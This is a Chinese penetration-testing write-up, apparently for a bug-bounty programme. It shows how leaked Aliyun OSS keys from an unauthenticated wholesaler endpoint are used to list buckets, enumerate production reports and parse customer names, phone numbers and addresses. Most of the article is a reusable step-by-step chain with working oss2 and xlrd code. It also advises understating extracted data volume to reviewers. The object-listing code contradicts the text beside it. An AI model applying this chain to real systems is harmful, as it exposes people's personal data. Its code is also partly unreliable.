渗透实战篇-拿到某个批发商的 OSS AccessKey 之后:从验证能读到证明高危泄露
某批发商的订购系统,一个未授权的接口直接返回了阿里云 OSS 的 AK/SK 明文。 拿到密钥后不是终点,怎么把"能连上"证明成"批量个人信息泄露(高危)",才是这篇文章要讲的。
某批发商的订购系统,一个未授权的接口直接返回了阿里云 OSS 的 AK/SK 明文。
拿到密钥后不是终点,怎么把"能连上"证明成"批量个人信息泄露(高危)",才是这篇文章要讲的。
整个流程:找入口 → 拿密钥 → 验证可用 → 枚举 bucket → 翻生产数据 → 定级。
一、入口:一个不带鉴权的接口
目标是个批发商的订购系统,后端接口完全没做登录校验。其中一个"获取 OSS 配置"的接口,什么都没带直接返回了完整密钥:
POST /fileOss/getOssConfig HTTP/1.1
Host: example.com:12005
Content-Type: application/json
{}{
"code": 0,
"msg": "success",
"data": {
"bucketName": "retail-bucket",
"endpoint": "oss-cn-beijing.aliyuncs.com",
"accessKeyId": "LTAIxxxxxxxxxxxxxxxx",
"secretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
}注意几个点:
- 空请求直接返回,连个 token 都不要
- bucket 名、endpoint、AK、SK 一次给全
- 端口是 12005——前端域名 443 是静态壳,真后端在非标端口(这和 Actuator 那篇的套路一样:找对端口才有面)
二、验证密钥:别急着高兴,先确认能不能用
拿到密钥先验证真实性,用 oss2 列一下 bucket:
import oss2
auth = oss2.Auth("LTAIxxxxxxxxxxxxxxxx", "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")
service = oss2.Service(auth, "https://oss-cn-beijing.aliyuncs.com")
buckets = service.list_buckets()
for b in buckets.buckets:
print(b.name, b.location)能列出 bucket = 密钥真实有效。这一步验证的是"密钥能不能用",但到这儿还不算洞——密钥能用 ≠ 有洞,得有真实生产数据才算。
三、枚举 bucket 内容:找生产数据
列出 bucket 后,逐个翻内容。用 list_objects 而不是 ObjectIterator——后者会一页页翻到底,几百 GB 的桶能把请求量打爆(我自己踩过,max_keys 是每页数不是总数,别当翻页参数用)。
import oss2
bucket = oss2.Bucket(auth, "https://oss-cn-beijing.aliyuncs.com", "retail-bucket")
# 列出前 1000 个对象,按前缀分组看结构
for obj in oss2.ObjectIterator(bucket, max_keys=1000):
print(obj.key, obj.size)翻完发现桶里全是生产报表:
- 订单报表(几百份,含 10MB+ 的全量导出)
- 销售报表(几千份,门店经营数据)
- 对账报表(含客户手机号、消费金额、支付方式)
- 发票/付款凭证图片
这个桶就是"订单库的导出目录"——数据价值直接拉满。
四、解析报表:证明里面有手机号
光有文件名不够,得证明报表里是真实个人信息。订单报表是 .xls 格式,用 xlrd 解析:
import xlrd
wb = xlrd.open_workbook("订单报表.xls")
sh = wb.sheet_by_index(0)
print("行数:", sh.nrows, "列数:", sh.ncols)
# 打印表头,确认有哪些字段
for c in range(sh.ncols):
print(sh.cell_value(0, c), end=" | ")
print()表头出来:订单号、客户姓名、手机号、金额、支付方式、收货地址——实打实的批量个人信息。
抽样几份报表统计:
抽样报表 | 大小 | 订单行数 | 含手机号 |
报表 A | 11.4MB | 60,002 行 | 54,446 个 |
报表 B | 1.2MB | 6,148 行 | 6,143 个 |
报表 C | 105KB | 413 行 | 174 个 |
单份 11MB 的报表就有 5.4 万个手机号,桶里同类型的报表有几百份,全量数据量是数十万级的订单记录,涉及手机号数量级相当可观。
五、定级:为什么是高危
某平台对"批量个人信息泄露"的判定标准:
- 大量真实用户三元组信息(姓名+手机号+地址)遍历/泄露 → 高危
- 单接口未授权但无数据 → 不构成
- 密钥能用但只验证到"能读写自己传的文件"(审核眼里那是自插测试数据)→ 被打回
这个案例齐活了:
- 密钥未授权获取
- 密钥真实可用(能列出全部 bucket)
- 桶里有真实生产报表
- 报表含姓名+手机号+地址(三元组)
- 数据量数十万级
高危定级实锤。关键在最后两步——把"能连上"推进到"翻出真实生产 PII",这是从低危到高危的分水岭。
六、报告怎么写(数据量要克制)
提交报告时数据量描述有讲究:
- 别写"百万条"这类大数字——像脱库,审核第一反应是"你下载了多少",反而扣分
- 用"数十万级"这种量级描述,配合 TotalItems 字段留在响应里让审核自己复现
- 手机号在截图里打码,留一个完整证明真实性(比如 138****1234 这种,留一条完整的说明是真实样本)
- 危害段客观陈述"存在批量个人信息泄露风险",别写"可用于诈骗"这种引导语
POST /fileOss/getOssConfig HTTP/1.1
Host: example.com:12005
Content-Type: application/json
{}七、这条链的通用性
同样的套路换个目标照样跑:
1. 找入口:未授权接口 / SpringBoot /env / heapdump / 前端 JS / .git / 配置文件——AK/SK 的来源很多
2. 验证:oss2 列 bucket,确认真实可用
3. 枚举:list_objects 翻对象,按文件名找报表/备份/导出
4. 解析:.xls 用 xlrd、.gz 先解压、.csv 直接读,确认字段里有 PII
5. 定级:有真实生产三元组数据 = 高危
拿到密钥只是开始,能不能证明"批量个人信息泄露"才是漏洞成不成立的关键。整个链条走通,一个 AK 就是高危。
总结
步骤 | 要点 |
找入口 | 未授权接口/配置泄露/前端JS,AK/SK 来源很多 |
验证 | oss2 列 bucket,密钥真实可用 |
枚举 | list_objects 别用 ObjectIterator 翻到底 |
解析 | xlrd 读 .xls,确认字段含姓名/手机号/地址 |
定级 | 真实生产三元组数据 + 量级 = 高危 |
报告 | 数据量克制(数十万级),手机号打码,TotalItems 留响应 |
会触发告警吧